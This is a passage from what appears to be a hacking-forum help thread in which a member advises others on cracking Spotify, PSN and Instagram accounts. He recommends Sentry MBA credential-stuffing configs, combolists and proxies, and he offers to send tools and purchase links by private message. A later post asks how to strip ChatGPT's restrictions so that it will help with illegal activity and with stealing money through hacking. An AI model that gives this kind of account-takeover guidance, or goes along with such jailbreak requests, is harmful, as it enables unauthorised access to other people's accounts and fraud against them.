You can basically use and Sentry mba config that supports spotify with a good combolist and some HQ proxies to get in there. You can PM me if you need recommendations.

As for the VPN, and VPN with No logs is a must, most people on this site recommend CrypticVPN,

but it's up to you.

Here are some notable mentions for VPNs:

<https://hackforums.net/showthread.php?tid=5335918&highlight=vpn+list>

brutes7 - April 18, 2017, 7:29 pm

Thanks a lot man.

Could you link me in pm where to buy proxies, combos, and good configs?

Also how about minaev for cracking PSN accs?

Thanks in advance

Komodo - April 18, 2017, 7:42 pm

(Apr 18, 2017 07:29 PM)brutes7 Wrote: [\[CITE\]](#) Thanks a lot man.

Could you link me in pm where to buy proxies, combos, and good configs?

Also how about minaev for cracking PSN accs?

Thanks in advanceSent you a pretty detailed PM. Happy cracking.

brutes7 - April 19, 2017, 3:31 am

Thanks a lot

Do you have skype maybe? I want pm so please if you have send me in pm

Komodo - April 19, 2017, 10:11 am

(Apr 19, 2017 03:31 AM)brutes7 Wrote: [\[CITE\]](#) Thanks a lot

Do you have skype maybe? I want pm so please if you have send me in pml only deal on site or with my jabber unfortunately. I'm happy to help you farther on either.

aladybug - April 19, 2017, 7:13 pm

What is your question/problem: I would like to learn how to obtain a password for a private inactive Instagram account.

Explain your problem the best you can: There is an inactive instagram account with a username I would like to have.

Komodo - April 19, 2017, 7:29 pm

(Apr 19, 2017 07:13 PM)aladybug Wrote: [\[CITE\]](#) What is your question/problem: I would like to learn how to obtain a password for a private inactive Instagram account.

Explain your problem the best you can: There is an inactive instagram account with a username I would like to have.Many ways to do this, easiest way for you would probably be a sentry mba with the desired username.

I'll shoot you a PM with some links.

aladybug - April 19, 2017, 10:12 pm

(Apr 19, 2017 07:13 PM)aladybug Wrote: [\[CITE\]](#) What is your question/problem: I would like to learn how to obtain a password for a private inactive Instagram account.

Explain your problem the best you can: There is an inactive instagram account with a username I would like to have.

You sent me a download of that I was able to download but to extract the files I need a password... any help with that?

Komodo - April 19, 2017, 10:41 pm

(Apr 19, 2017 10:12 PM)aladybug Wrote: [\[CITE\]](#) You sent me a download of that I was able to download but to extract the files I need a password... any help with that?Check it again ?

aladybug - April 19, 2017, 10:46 pm

(Apr 19, 2017 10:41 PM)Komodo Wrote: [\[CITE\]](#) Check it again ?
edited the name but do you know of any free ones for Mac not windows

Komodo - April 19, 2017, 10:49 pm

(Apr 19, 2017 10:46 PM)aladybug Wrote: [\[CITE\]](#) edited the name but do you know of any free ones for Mac not windowsDon't use Mac, but there are some you can use here:

<https://www.google.com/search?q=sentry+mda+for+max&ie=utf-8&oe=utf-8#q=sentry+mba+for+mac>

zerocool - April 20, 2017, 1:35 am

(Apr 19, 2017 10:49 PM)Komodo Wrote: [\[CITE\]](#) Don't use Mac, but there are some you can use here:

<https://www.google.com/search?q=sentry+mda+for+max&ie=utf-8&oe=utf-8#q=sentry+mba+for+mac>

Nice service you are doing here, keep up the great work.
?

Komodo - April 20, 2017, 2:06 pm

PM or post if you need any help.

Komodo - October 31, 2023, 4:48 pm

(Oct 31, 2023 04:45 PM)Dyne Wrote: [\[CITE\]](#) Komodo I need alot of help man

I accidentally a fleshlight
I'm gonna bump this thread forever.
Thanks for reminding me.

Mnemonic - October 31, 2023, 5:02 pm

2014, woah. You guys are serious original gangstas here!

Komodo - October 31, 2023, 5:14 pm

(Oct 31, 2023 04:53 PM)Dyne Wrote: [\[CITE\]](#) EDIT: I just saw the OP
fuck you dude
Get fucked, please keep bumping this.

pixrcxr - November 1, 2023, 11:48 pm

bumping. komodo do you have any idea how can i unlock chatgpt's restrictions? like it refuses to answer questions abt illegal stuff and i want it to help me with that or anything else without any restrictions. do you have any idea abt that? or i am a total newbie with the dreams of stealing money thru hacking, can u help me with a method for that? ps. hope this post don't get me banned